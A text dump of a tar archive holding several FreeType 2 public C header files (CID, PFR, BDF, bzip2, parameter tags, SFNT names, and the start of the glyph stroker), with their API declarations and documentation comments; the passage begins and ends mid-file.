freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* cid_fonts */ /* */ /* <Title> */ /* CID Fonts */ /* */ /* <Abstract> */ /* CID-keyed font specific API. */ /* */ /* <Description> */ /* This section contains the declaration of CID-keyed font specific */ /* functions. */ /* */ /*************************************************************************/ /********************************************************************** * * @function: * FT_Get_CID_Registry_Ordering_Supplement * * @description: * Retrieve the Registry/Ordering/Supplement triple (also known as the * "R/O/S") from a CID-keyed font. * * @input: * face :: * A handle to the input face. * * @output: * registry :: * The registry, as a C~string, owned by the face. * * ordering :: * The ordering, as a C~string, owned by the face. * * supplement :: * The supplement. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with CID faces, returning an error * otherwise. * * @since: * 2.3.6 */ FT_EXPORT( FT_Error ) FT_Get_CID_Registry_Ordering_Supplement( FT_Face face, const char* *registry, const char* *ordering, FT_Int *supplement ); /********************************************************************** * * @function: * FT_Get_CID_Is_Internally_CID_Keyed * * @description: * Retrieve the type of the input face, CID keyed or not. In * contrast to the @FT_IS_CID_KEYED macro this function returns * successfully also for CID-keyed fonts in an SFNT wrapper. * * @input: * face :: * A handle to the input face. * * @output: * is_cid :: * The type of the face as an @FT_Bool. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with CID faces and OpenType fonts, * returning an error otherwise. * * @since: * 2.3.9 */ FT_EXPORT( FT_Error ) FT_Get_CID_Is_Internally_CID_Keyed( FT_Face face, FT_Bool *is_cid ); /********************************************************************** * * @function: * FT_Get_CID_From_Glyph_Index * * @description: * Retrieve the CID of the input glyph index. * * @input: * face :: * A handle to the input face. * * glyph_index :: * The input glyph index. * * @output: * cid :: * The CID as an @FT_UInt. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with CID faces and OpenType fonts, * returning an error otherwise. * * @since: * 2.3.9 */ FT_EXPORT( FT_Error ) FT_Get_CID_From_Glyph_Index( FT_Face face, FT_UInt glyph_index, FT_UInt *cid ); /* */ FT_END_HEADER #endif /* FTCID_H_ */ /* END */ freetype2/freetype/ftpfr.h 0000644 00000014206 15246445047 0011604 0 ustar 00 /***************************************************************************/ /* */ /* ftpfr.h */ /* */ /* FreeType API for accessing PFR-specific data (specification only). */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTPFR_H_ #define FTPFR_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* pfr_fonts */ /* */ /* <Title> */ /* PFR Fonts */ /* */ /* <Abstract> */ /* PFR/TrueDoc specific API. */ /* */ /* <Description> */ /* This section contains the declaration of PFR-specific functions. */ /* */ /*************************************************************************/ /********************************************************************** * * @function: * FT_Get_PFR_Metrics * * @description: * Return the outline and metrics resolutions of a given PFR face. * * @input: * face :: Handle to the input face. It can be a non-PFR face. * * @output: * aoutline_resolution :: * Outline resolution. This is equivalent to `face->units_per_EM' * for non-PFR fonts. Optional (parameter can be NULL). * * ametrics_resolution :: * Metrics resolution. This is equivalent to `outline_resolution' * for non-PFR fonts. Optional (parameter can be NULL). * * ametrics_x_scale :: * A 16.16 fixed-point number used to scale distance expressed * in metrics units to device subpixels. This is equivalent to * `face->size->x_scale', but for metrics only. Optional (parameter * can be NULL). * * ametrics_y_scale :: * Same as `ametrics_x_scale' but for the vertical direction. * optional (parameter can be NULL). * * @return: * FreeType error code. 0~means success. * * @note: * If the input face is not a PFR, this function will return an error. * However, in all cases, it will return valid values. */ FT_EXPORT( FT_Error ) FT_Get_PFR_Metrics( FT_Face face, FT_UInt *aoutline_resolution, FT_UInt *ametrics_resolution, FT_Fixed *ametrics_x_scale, FT_Fixed *ametrics_y_scale ); /********************************************************************** * * @function: * FT_Get_PFR_Kerning * * @description: * Return the kerning pair corresponding to two glyphs in a PFR face. * The distance is expressed in metrics units, unlike the result of * @FT_Get_Kerning. * * @input: * face :: A handle to the input face. * * left :: Index of the left glyph. * * right :: Index of the right glyph. * * @output: * avector :: A kerning vector. * * @return: * FreeType error code. 0~means success. * * @note: * This function always return distances in original PFR metrics * units. This is unlike @FT_Get_Kerning with the @FT_KERNING_UNSCALED * mode, which always returns distances converted to outline units. * * You can use the value of the `x_scale' and `y_scale' parameters * returned by @FT_Get_PFR_Metrics to scale these to device subpixels. */ FT_EXPORT( FT_Error ) FT_Get_PFR_Kerning( FT_Face face, FT_UInt left, FT_UInt right, FT_Vector *avector ); /********************************************************************** * * @function: * FT_Get_PFR_Advance * * @description: * Return a given glyph advance, expressed in original metrics units, * from a PFR font. * * @input: * face :: A handle to the input face. * * gindex :: The glyph index. * * @output: * aadvance :: The glyph advance in metrics units. * * @return: * FreeType error code. 0~means success. * * @note: * You can use the `x_scale' or `y_scale' results of @FT_Get_PFR_Metrics * to convert the advance to device subpixels (i.e., 1/64th of pixels). */ FT_EXPORT( FT_Error ) FT_Get_PFR_Advance( FT_Face face, FT_UInt gindex, FT_Pos *aadvance ); /* */ FT_END_HEADER #endif /* FTPFR_H_ */ /* END */ freetype2/freetype/ftbdf.h 0000644 00000015211 15246445047 0011545 0 ustar 00 /***************************************************************************/ /* */ /* ftbdf.h */ /* */ /* FreeType API for accessing BDF-specific strings (specification). */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTBDF_H_ #define FTBDF_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* bdf_fonts */ /* */ /* <Title> */ /* BDF and PCF Files */ /* */ /* <Abstract> */ /* BDF and PCF specific API. */ /* */ /* <Description> */ /* This section contains the declaration of functions specific to BDF */ /* and PCF fonts. */ /* */ /*************************************************************************/ /********************************************************************** * * @enum: * BDF_PropertyType * * @description: * A list of BDF property types. * * @values: * BDF_PROPERTY_TYPE_NONE :: * Value~0 is used to indicate a missing property. * * BDF_PROPERTY_TYPE_ATOM :: * Property is a string atom. * * BDF_PROPERTY_TYPE_INTEGER :: * Property is a 32-bit signed integer. * * BDF_PROPERTY_TYPE_CARDINAL :: * Property is a 32-bit unsigned integer. */ typedef enum BDF_PropertyType_ { BDF_PROPERTY_TYPE_NONE = 0, BDF_PROPERTY_TYPE_ATOM = 1, BDF_PROPERTY_TYPE_INTEGER = 2, BDF_PROPERTY_TYPE_CARDINAL = 3 } BDF_PropertyType; /********************************************************************** * * @type: * BDF_Property * * @description: * A handle to a @BDF_PropertyRec structure to model a given * BDF/PCF property. */ typedef struct BDF_PropertyRec_* BDF_Property; /********************************************************************** * * @struct: * BDF_PropertyRec * * @description: * This structure models a given BDF/PCF property. * * @fields: * type :: * The property type. * * u.atom :: * The atom string, if type is @BDF_PROPERTY_TYPE_ATOM. May be * NULL, indicating an empty string. * * u.integer :: * A signed integer, if type is @BDF_PROPERTY_TYPE_INTEGER. * * u.cardinal :: * An unsigned integer, if type is @BDF_PROPERTY_TYPE_CARDINAL. */ typedef struct BDF_PropertyRec_ { BDF_PropertyType type; union { const char* atom; FT_Int32 integer; FT_UInt32 cardinal; } u; } BDF_PropertyRec; /********************************************************************** * * @function: * FT_Get_BDF_Charset_ID * * @description: * Retrieve a BDF font character set identity, according to * the BDF specification. * * @input: * face :: * A handle to the input face. * * @output: * acharset_encoding :: * Charset encoding, as a C~string, owned by the face. * * acharset_registry :: * Charset registry, as a C~string, owned by the face. * * @return: * FreeType error code. 0~means success. * * @note: * This function only works with BDF faces, returning an error otherwise. */ FT_EXPORT( FT_Error ) FT_Get_BDF_Charset_ID( FT_Face face, const char* *acharset_encoding, const char* *acharset_registry ); /********************************************************************** * * @function: * FT_Get_BDF_Property * * @description: * Retrieve a BDF property from a BDF or PCF font file. * * @input: * face :: A handle to the input face. * * name :: The property name. * * @output: * aproperty :: The property. * * @return: * FreeType error code. 0~means success. * * @note: * This function works with BDF _and_ PCF fonts. It returns an error * otherwise. It also returns an error if the property is not in the * font. * * A `property' is a either key-value pair within the STARTPROPERTIES * ... ENDPROPERTIES block of a BDF font or a key-value pair from the * `info->props' array within a `FontRec' structure of a PCF font. * * Integer properties are always stored as `signed' within PCF fonts; * consequently, @BDF_PROPERTY_TYPE_CARDINAL is a possible return value * for BDF fonts only. * * In case of error, `aproperty->type' is always set to * @BDF_PROPERTY_TYPE_NONE. */ FT_EXPORT( FT_Error ) FT_Get_BDF_Property( FT_Face face, const char* prop_name, BDF_PropertyRec *aproperty ); /* */ FT_END_HEADER #endif /* FTBDF_H_ */ /* END */ freetype2/freetype/ftbzip2.h 0000644 00000010313 15246445047 0012036 0 ustar 00 /***************************************************************************/ /* */ /* ftbzip2.h */ /* */ /* Bzip2-compressed stream support. */ /* */ /* Copyright 2010-2018 by */ /* Joel Klinghed. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTBZIP2_H_ #define FTBZIP2_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* bzip2 */ /* */ /* <Title> */ /* BZIP2 Streams */ /* */ /* <Abstract> */ /* Using bzip2-compressed font files. */ /* */ /* <Description> */ /* This section contains the declaration of Bzip2-specific functions. */ /* */ /*************************************************************************/ /************************************************************************ * * @function: * FT_Stream_OpenBzip2 * * @description: * Open a new stream to parse bzip2-compressed font files. This is * mainly used to support the compressed `*.pcf.bz2' fonts that come * with XFree86. * * @input: * stream :: * The target embedding stream. * * source :: * The source stream. * * @return: * FreeType error code. 0~means success. * * @note: * The source stream must be opened _before_ calling this function. * * Calling the internal function `FT_Stream_Close' on the new stream will * *not* call `FT_Stream_Close' on the source stream. None of the stream * objects will be released to the heap. * * The stream implementation is very basic and resets the decompression * process each time seeking backwards is needed within the stream. * * In certain builds of the library, bzip2 compression recognition is * automatically handled when calling @FT_New_Face or @FT_Open_Face. * This means that if no font driver is capable of handling the raw * compressed file, the library will try to open a bzip2 compressed stream * from it and re-open the face with it. * * This function may return `FT_Err_Unimplemented_Feature' if your build * of FreeType was not compiled with bzip2 support. */ FT_EXPORT( FT_Error ) FT_Stream_OpenBzip2( FT_Stream stream, FT_Stream source ); /* */ FT_END_HEADER #endif /* FTBZIP2_H_ */ /* END */ freetype2/freetype/ftparams.h 0000644 00000014251 15246445047 0012300 0 ustar 00 /***************************************************************************/ /* */ /* ftparams.h */ /* */ /* FreeType API for possible FT_Parameter tags (specification only). */ /* */ /* Copyright 2017-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTPARAMS_H_ #define FTPARAMS_H_ #include <ft2build.h> #include FT_FREETYPE_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /************************************************************************** * * @section: * parameter_tags * * @title: * Parameter Tags * * @abstract: * Macros for driver property and font loading parameter tags. * * @description: * This section contains macros for the @FT_Parameter structure that are * used with various functions to activate some special functionality or * different behaviour of various components of FreeType. * */ /*************************************************************************** * * @constant: * FT_PARAM_TAG_IGNORE_TYPOGRAPHIC_FAMILY * * @description: * A tag for @FT_Parameter to make @FT_Open_Face ignore typographic * family names in the `name' table (introduced in OpenType version * 1.4). Use this for backward compatibility with legacy systems that * have a four-faces-per-family restriction. * * @since: * 2.8 * */ #define FT_PARAM_TAG_IGNORE_TYPOGRAPHIC_FAMILY \ FT_MAKE_TAG( 'i', 'g', 'p', 'f' ) /* this constant is deprecated */ #define FT_PARAM_TAG_IGNORE_PREFERRED_FAMILY \ FT_PARAM_TAG_IGNORE_TYPOGRAPHIC_FAMILY /*************************************************************************** * * @constant: * FT_PARAM_TAG_IGNORE_TYPOGRAPHIC_SUBFAMILY * * @description: * A tag for @FT_Parameter to make @FT_Open_Face ignore typographic * subfamily names in the `name' table (introduced in OpenType version * 1.4). Use this for backward compatibility with legacy systems that * have a four-faces-per-family restriction. * * @since: * 2.8 * */ #define FT_PARAM_TAG_IGNORE_TYPOGRAPHIC_SUBFAMILY \ FT_MAKE_TAG( 'i', 'g', 'p', 's' ) /* this constant is deprecated */ #define FT_PARAM_TAG_IGNORE_PREFERRED_SUBFAMILY \ FT_PARAM_TAG_IGNORE_TYPOGRAPHIC_SUBFAMILY /*************************************************************************** * * @constant: * FT_PARAM_TAG_INCREMENTAL * * @description: * An @FT_Parameter tag to be used with @FT_Open_Face to indicate * incremental glyph loading. * */ #define FT_PARAM_TAG_INCREMENTAL \ FT_MAKE_TAG( 'i', 'n', 'c', 'r' ) /************************************************************************** * * @constant: * FT_PARAM_TAG_LCD_FILTER_WEIGHTS * * @description: * An @FT_Parameter tag to be used with @FT_Face_Properties. The * corresponding argument specifies the five LCD filter weights for a * given face (if using @FT_LOAD_TARGET_LCD, for example), overriding * the global default values or the values set up with * @FT_Library_SetLcdFilterWeights. * * @since: * 2.8 * */ #define FT_PARAM_TAG_LCD_FILTER_WEIGHTS \ FT_MAKE_TAG( 'l', 'c', 'd', 'f' ) /************************************************************************** * * @constant: * FT_PARAM_TAG_RANDOM_SEED * * @description: * An @FT_Parameter tag to be used with @FT_Face_Properties. The * corresponding 32bit signed integer argument overrides the font * driver's random seed value with a face-specific one; see * @random-seed. * * @since: * 2.8 * */ #define FT_PARAM_TAG_RANDOM_SEED \ FT_MAKE_TAG( 's', 'e', 'e', 'd' ) /************************************************************************** * * @constant: * FT_PARAM_TAG_STEM_DARKENING * * @description: * An @FT_Parameter tag to be used with @FT_Face_Properties. The * corresponding Boolean argument specifies whether to apply stem * darkening, overriding the global default values or the values set up * with @FT_Property_Set (see @no-stem-darkening). * * This is a passive setting that only takes effect if the font driver * or autohinter honors it, which the CFF, Type~1, and CID drivers * always do, but the autohinter only in `light' hinting mode (as of * version 2.9). * * @since: * 2.8 * */ #define FT_PARAM_TAG_STEM_DARKENING \ FT_MAKE_TAG( 'd', 'a', 'r', 'k' ) /*************************************************************************** * * @constant: * FT_PARAM_TAG_UNPATENTED_HINTING * * @description: * Deprecated, no effect. * * Previously: A constant used as the tag of an @FT_Parameter structure to * indicate that unpatented methods only should be used by the TrueType * bytecode interpreter for a typeface opened by @FT_Open_Face. * */ #define FT_PARAM_TAG_UNPATENTED_HINTING \ FT_MAKE_TAG( 'u', 'n', 'p', 'a' ) /* */ FT_END_HEADER #endif /* FTPARAMS_H_ */ /* END */ freetype2/freetype/ftsnames.h 0000644 00000036562 15246445047 0012314 0 ustar 00 /***************************************************************************/ /* */ /* ftsnames.h */ /* */ /* Simple interface to access SFNT `name' tables (which are used */ /* to hold font names, copyright info, notices, etc.) (specification). */ /* */ /* This is _not_ used to retrieve glyph names! */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTSNAMES_H_ #define FTSNAMES_H_ #include <ft2build.h> #include FT_FREETYPE_H #include FT_PARAMETER_TAGS_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /*************************************************************************/ /* */ /* <Section> */ /* sfnt_names */ /* */ /* <Title> */ /* SFNT Names */ /* */ /* <Abstract> */ /* Access the names embedded in TrueType and OpenType files. */ /* */ /* <Description> */ /* The TrueType and OpenType specifications allow the inclusion of */ /* a special names table (`name') in font files. This table contains */ /* textual (and internationalized) information regarding the font, */ /* like family name, copyright, version, etc. */ /* */ /* The definitions below are used to access them if available. */ /* */ /* Note that this has nothing to do with glyph names! */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Struct> */ /* FT_SfntName */ /* */ /* <Description> */ /* A structure used to model an SFNT `name' table entry. */ /* */ /* <Fields> */ /* platform_id :: The platform ID for `string'. */ /* See @TT_PLATFORM_XXX for possible values. */ /* */ /* encoding_id :: The encoding ID for `string'. */ /* See @TT_APPLE_ID_XXX, @TT_MAC_ID_XXX, */ /* @TT_ISO_ID_XXX, @TT_MS_ID_XXX, and @TT_ADOBE_ID_XXX */ /* for possible values. */ /* */ /* language_id :: The language ID for `string'. */ /* See @TT_MAC_LANGID_XXX and @TT_MS_LANGID_XXX for */ /* possible values. */ /* */ /* Registered OpenType values for `language_id' are */ /* always smaller than 0x8000; values equal or larger */ /* than 0x8000 usually indicate a language tag string */ /* (introduced in OpenType version 1.6). Use function */ /* @FT_Get_Sfnt_LangTag with `language_id' as its */ /* argument to retrieve the associated language tag. */ /* */ /* name_id :: An identifier for `string'. */ /* See @TT_NAME_ID_XXX for possible values. */ /* */ /* string :: The `name' string. Note that its format differs */ /* depending on the (platform,encoding) pair, being */ /* either a string of bytes (without a terminating */ /* NULL byte) or containing UTF-16BE entities. */ /* */ /* string_len :: The length of `string' in bytes. */ /* */ /* <Note> */ /* Please refer to the TrueType or OpenType specification for more */ /* details. */ /* */ typedef struct FT_SfntName_ { FT_UShort platform_id; FT_UShort encoding_id; FT_UShort language_id; FT_UShort name_id; FT_Byte* string; /* this string is *not* null-terminated! */ FT_UInt string_len; /* in bytes */ } FT_SfntName; /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Sfnt_Name_Count */ /* */ /* <Description> */ /* Retrieve the number of name strings in the SFNT `name' table. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* <Return> */ /* The number of strings in the `name' table. */ /* */ FT_EXPORT( FT_UInt ) FT_Get_Sfnt_Name_Count( FT_Face face ); /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Sfnt_Name */ /* */ /* <Description> */ /* Retrieve a string of the SFNT `name' table for a given index. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* idx :: The index of the `name' string. */ /* */ /* <Output> */ /* aname :: The indexed @FT_SfntName structure. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The `string' array returned in the `aname' structure is not */ /* null-terminated. Note that you don't have to deallocate `string' */ /* by yourself; FreeType takes care of it if you call @FT_Done_Face. */ /* */ /* Use @FT_Get_Sfnt_Name_Count to get the total number of available */ /* `name' table entries, then do a loop until you get the right */ /* platform, encoding, and name ID. */ /* */ /* `name' table format~1 entries can use language tags also, see */ /* @FT_Get_Sfnt_LangTag. */ /* */ FT_EXPORT( FT_Error ) FT_Get_Sfnt_Name( FT_Face face, FT_UInt idx, FT_SfntName *aname ); /*************************************************************************/ /* */ /* <Struct> */ /* FT_SfntLangTag */ /* */ /* <Description> */ /* A structure to model a language tag entry from an SFNT `name' */ /* table. */ /* */ /* <Fields> */ /* string :: The language tag string, encoded in UTF-16BE */ /* (without trailing NULL bytes). */ /* */ /* string_len :: The length of `string' in *bytes*. */ /* */ /* <Note> */ /* Please refer to the TrueType or OpenType specification for more */ /* details. */ /* */ /* <Since> */ /* 2.8 */ /* */ typedef struct FT_SfntLangTag_ { FT_Byte* string; /* this string is *not* null-terminated! */ FT_UInt string_len; /* in bytes */ } FT_SfntLangTag; /*************************************************************************/ /* */ /* <Function> */ /* FT_Get_Sfnt_LangTag */ /* */ /* <Description> */ /* Retrieve the language tag associated with a language ID of an SFNT */ /* `name' table entry. */ /* */ /* <Input> */ /* face :: A handle to the source face. */ /* */ /* langID :: The language ID, as returned by @FT_Get_Sfnt_Name. */ /* This is always a value larger than 0x8000. */ /* */ /* <Output> */ /* alangTag :: The language tag associated with the `name' table */ /* entry's language ID. */ /* */ /* <Return> */ /* FreeType error code. 0~means success. */ /* */ /* <Note> */ /* The `string' array returned in the `alangTag' structure is not */ /* null-terminated. Note that you don't have to deallocate `string' */ /* by yourself; FreeType takes care of it if you call @FT_Done_Face. */ /* */ /* Only `name' table format~1 supports language tags. For format~0 */ /* tables, this function always returns FT_Err_Invalid_Table. For */ /* invalid format~1 language ID values, FT_Err_Invalid_Argument is */ /* returned. */ /* */ /* <Since> */ /* 2.8 */ /* */ FT_EXPORT( FT_Error ) FT_Get_Sfnt_LangTag( FT_Face face, FT_UInt langID, FT_SfntLangTag *alangTag ); /* */ FT_END_HEADER #endif /* FTSNAMES_H_ */ /* END */ freetype2/freetype/ftstroke.h 0000644 00000053425 15246445047 0012332 0 ustar 00 /***************************************************************************/ /* */ /* ftstroke.h */ /* */ /* FreeType path stroker (specification). */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTSTROKE_H_ #define FTSTROKE_H_ #include <ft2build.h> #include FT_OUTLINE_H #include FT_GLYPH_H FT_BEGIN_HEADER /************************************************************************ * * @section: * glyph_stroker * * @title: * Glyph Stroker * * @abstract: * Generating bordered and stroked glyphs. * * @description: * This component generates stroked outlines of a given vectorial * glyph. It also allows you to retrieve the `outside' and/or the * `inside' borders of the stroke. * * This can be useful to generate `bordered' glyph, i.e., glyphs * displayed with a coloured (and anti-aliased) border around their * shape. * * @order: * FT_Stroker * * FT_Stroker_LineJoin * FT_Stroker_LineCap * FT_StrokerBorder * * FT_Outline_GetInsideBorder * FT_Outline_GetOutsideBorder * * FT_Glyph_Stroke * FT_Glyph_StrokeBorder * * FT_Stroker_New * FT_Stroker_Set * FT_Stroker_Rewind * FT_Stroker_ParseOutline * FT_Stroker_Done * * FT_Stroker_BeginSubPath * FT_Stroker_EndSubPath * * FT_Stroker_LineTo * FT_Stroker_ConicTo * FT_Stroker_CubicTo * * FT_Stroker_GetBorderCounts * FT_Stroker_ExportBorder * FT_Stroker_GetCounts * FT_Stroker_Export * */ /************************************************************** * * @type: * FT_Stroker * * @description: * Opaque handle to a path stroker object. */ typedef struct FT_StrokerRec_* FT_Stroker; /************************************************************** * * @enum: * FT_Stroker_LineJoin * * @description: * These values determine how two joining lines are rendered * in a stroker. * * @values: * FT_STROKER_LINEJOIN_ROUND :: * Used to render rounded line joins. Circular arcs are used * to join two lines smoothly. * * FT_STROKER_LINEJOIN_BEVEL :: * Used to render beveled line joins. The outer corner of * the joined lines is filled by enclosing the triangular * region of the corner with a straight line between the * outer corners of each stroke. * * FT_STROKER_LINEJOIN_MITER_FIXED :: * Used to render mitered line joins, with fixed bevels if the * miter limit is exceeded. The outer edges of the strokes * for the two segments are extended until they meet at an * angle. If the segments meet at too sharp an angle (such * that the miter would extend from the intersection of the * segments a distance greater than the product of the miter * limit value and the border radius), then a bevel join (see * above) is used instead. This prevents long spikes being * created. FT_STROKER_LINEJOIN_MITER_FIXED generates a miter * line join as used in PostScript and PDF. * * FT_STROKER_LINEJOIN_MITER_VARIABLE :: * FT_STROKER_LINEJOIN_MITER :: * Used to render mitered line joins, with variable bevels if * the miter limit is exceeded. The intersection of the * strokes is clipped at a line perpendicular to the bisector * of the angle between the strokes, at the distance from the * intersection of the segments equal to the product of the * miter limit value and the border radius. This prevents * long spikes being created. * FT_STROKER_LINEJOIN_MITER_VARIABLE generates a mitered line * join as used in XPS. FT_STROKER_LINEJOIN_MITER is an alias * for FT_STROKER_LINEJOIN_MITER_VARIABLE, retained for * backward compatibility. */ typedef enum FT_Stroker_LineJoin_ { FT_STROKER_LINEJOIN_ROUND = 0, FT_STROKER_LINEJOIN_BEVEL = 1, FT_STROKER_LINEJOIN_MITER_VARIABLE = 2, FT_STROKER_LINEJOIN_MITER = FT_STROKER_LINEJOIN_MITER_VARIABLE, FT_STROKER_LINEJOIN_MITER_FIXED = 3 } FT_Stroker_LineJoin; /************************************************************** * * @enum: * FT_Stroker_LineCap * * @description: * These values determine how the end of opened sub-paths are * rendered in a stroke. * * @values: * FT_STROKER_LINECAP_BUTT :: * The end of lines is rendered as a full stop on the last * point itself. * * FT_STROKER_LINECAP_ROUND :: * The end of lines is rendered as a half-circle around the * last point. * * FT_STROKER_LINECAP_SQUARE :: * The end of lines is rendered as a square around the * last point. */ typedef enum FT_Stroker_LineCap_ { FT_STROKER_LINECAP_BUTT = 0, FT_STROKER_LINECAP_ROUND, FT_STROKER_LINECAP_SQUARE } FT_Stroker_LineCap; /************************************************************** * * @enum: * FT_StrokerBorder * * @description: * These values are used to select a given stroke border * in @FT_Stroker_GetBorderCounts and @FT_Stroker_ExportBorder. * * @values: * FT_STROKER_BORDER_LEFT :: * Select the left border, relative to the drawing direction. * * FT_STROKER_BORDER_RIGHT :: * Select the right border, relative to the drawing direction. * * @note: * Applications are generally interested in the `inside' and `outside' * borders. However, there is no direct mapping between these and the * `left' and `right' ones, since this really depends on the glyph's * drawing orientation, which varies between font formats. * * You can however use @FT_Outline_GetInsideBorder and * @FT_Outline_GetOutsideBorder to get these. */ typedef enum FT_StrokerBorder_ { FT_STROKER_BORDER_LEFT = 0, FT_STROKER_BORDER_RIGHT } FT_StrokerBorder; /************************************************************** * * @function: * FT_Outline_GetInsideBorder * * @description: * Retrieve the @FT_StrokerBorder value corresponding to the * `inside' borders of a given outline. * * @input: * outline :: * The source outline handle. * * @return: * The border index. @FT_STROKER_BORDER_RIGHT for empty or invalid * outlines. */ FT_EXPORT( FT_StrokerBorder ) FT_Outline_GetInsideBorder( FT_Outline* outline ); /************************************************************** * * @function: * FT_Outline_GetOutsideBorder * * @description: * Retrieve the @FT_StrokerBorder value corresponding to the * `outside' borders of a given outline. * * @input: * outline :: * The source outline handle. * * @return: * The border index. @FT_STROKER_BORDER_LEFT for empty or invalid * outlines. */ FT_EXPORT( FT_StrokerBorder ) FT_Outline_GetOutsideBorder( FT_Outline* outline ); /************************************************************** * * @function: * FT_Stroker_New * * @description: * Create a new stroker object. * * @input: * library :: * FreeType library handle. * * @output: * astroker :: * A new stroker object handle. NULL in case of error. * * @return: * FreeType error code. 0~means success. */ FT_EXPORT( FT_Error ) FT_Stroker_New( FT_Library library, FT_Stroker *astroker ); /************************************************************** * * @function: * FT_Stroker_Set * * @description: * Reset a stroker object's attributes. * * @input: * stroker :: * The target stroker handle. * * radius :: * The border radius. * * line_cap :: * The line cap style. * * line_join :: * The line join style. * * miter_limit :: * The miter limit for the FT_STROKER_LINEJOIN_MITER_FIXED and * FT_STROKER_LINEJOIN_MITER_VARIABLE line join styles, * expressed as 16.16 fixed-point value. * * @note: * The radius is expressed in the same units as the outline * coordinates. * * This function calls @FT_Stroker_Rewind automatically. */ FT_EXPORT( void ) FT_Stroker_Set( FT_Stroker stroker, FT_Fixed radius, FT_Stroker_LineCap line_cap, FT_Stroker_LineJoin line_join, FT_Fixed miter_limit ); /************************************************************** * * @function: * FT_Stroker_Rewind * * @description: * Reset a stroker object without changing its attributes. * You should call this function before beginning a new * series of calls to @FT_Stroker_BeginSubPath or * @FT_Stroker_EndSubPath. * * @input: * stroker :: * The target stroker handle. */ FT_EXPORT( void ) FT_Stroker_Rewind( FT_Stroker stroker ); /************************************************************** * * @function: * FT_Stroker_ParseOutline * * @description: * A convenience function used to parse a whole outline with * the stroker. The resulting outline(s) can be retrieved * later by functions like @FT_Stroker_GetCounts and @FT_Stroker_Export. * * @input: * stroker :: * The target stroker handle. * * outline :: * The source outline. * * opened :: * A boolean. If~1, the outline is treated as an open path instead * of a closed one. * * @return: * FreeType error code. 0~means success. * * @note: * If `opened' is~0 (the default), the outline is treated as a closed * path, and the stroker generates two distinct `border' outlines. * * If `opened' is~1, the outline is processed as an open path, and the * stroker generates a single `stroke' outline. * * This function calls @FT_Stroker_Rewind automatically. */ FT_EXPORT( FT_Error ) FT_Stroker_ParseOutline( FT_Stroker stroker, FT_Outline* outline, FT_Bool opened ); /************************************************************** * * @function: * FT_Stroker_BeginSubPath * * @description: * Start a new sub-path in the stroker. * * @input: * stroker :: * The target stroker handle. * * to :: * A pointer to the start vector. * * open :: * A boolean. If~1, the sub-path is treated as an open one. * * @return: * FreeType error code. 0~means success. * * @note: * This function is useful when you need to stroke a path that is * not stored as an @FT_Outline object. */ FT_EXPORT( FT_Error ) FT_Stroker_BeginSubPath( FT_Stroker stroker, FT_Vector* to, FT_Bool open ); /************************************************************** * * @function: * FT_Stroker_EndSubPath * * @description: * Close the current sub-path in the stroker. * * @input: * stroker :: * The target stroker 